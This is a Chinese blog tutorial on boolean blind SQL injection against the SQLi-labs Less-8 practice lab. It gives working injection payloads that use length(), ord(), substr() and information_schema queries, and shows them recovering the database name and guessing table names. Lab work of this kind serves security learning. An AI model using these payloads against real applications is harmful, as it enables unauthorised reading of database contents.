sqli labs lesson 8,布尔盲注

本文详细介绍了布尔盲注的概念及应用,通过实例展示了如何利用布尔盲注确定数据库名和表名。首先解释了布尔盲注是通过页面返回的真假信息推测数据库信息,然后通过注入点判断数据库名的长度,并使用ASCII码确定每个字符,最终揭示了数据库名为'security'。接着,文章演示了获取表名的过程,包括确定表的数量和猜表名的策略,利用length()、count()、ord()和substr()等函数逐步获取信息。

1.什么是布尔盲注

布尔盲注是指,利用页面返回的对错信息来间接推测数据库中的信息。

2.获取数据库名

注入点很容易判断,是一个单引号的注入。

接着开始布尔盲注,我们首先当前获取数据库的名称:

id=1'and length(database())=20--+

手工注入的话先用>或者<来判断表长度的大致范围,我这里用Burpsuite,直接写了等于号

可以看到当值为8时,页面返回的是You are in,说明数据库名的长度为8

那接下来就可以挨个判断每个位置的字符了

and ord(substr(database(),1,1))=128
  • ord()的作用就是将字符转换成对应的ASCII码
  • substr(‘str’,index,len),有三个参数,作用是将字符串str,从index的位置开始截取,一共截取len个字符(下标是从1开始的)

 这里看到第一个字符的ascii码是115,查询一下对应着字符s,接下来的步骤是一样的,最终查询到当前数据库的名称是security

3.获取表名

首先要获取一共有多少张表:

id=1'and (select count(table_name) from information_schema.tables 
where table_schema=database())=4--+

得知一共有四张表,接下来就和获取数据库名一样了:

猜表名长度:

and length(substr((select table_name from information_schema.tables 
where table_schema=database()limit 0,1),1))=5--+

猜表的具体名称:

and ord(substr((select table_name from information_schema.tables 
where table_schema=database()limit 0,1),1,1))=101--+

接着完全是雷同的操作,不再赘述,总之布尔注入只需要按照一定的策略,来确定所需的信息即可,常用的函数有

length():用于名称的长度

count():用于获得数据库,表,字段的个数

ord(),substr():用于获得具体的值

评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值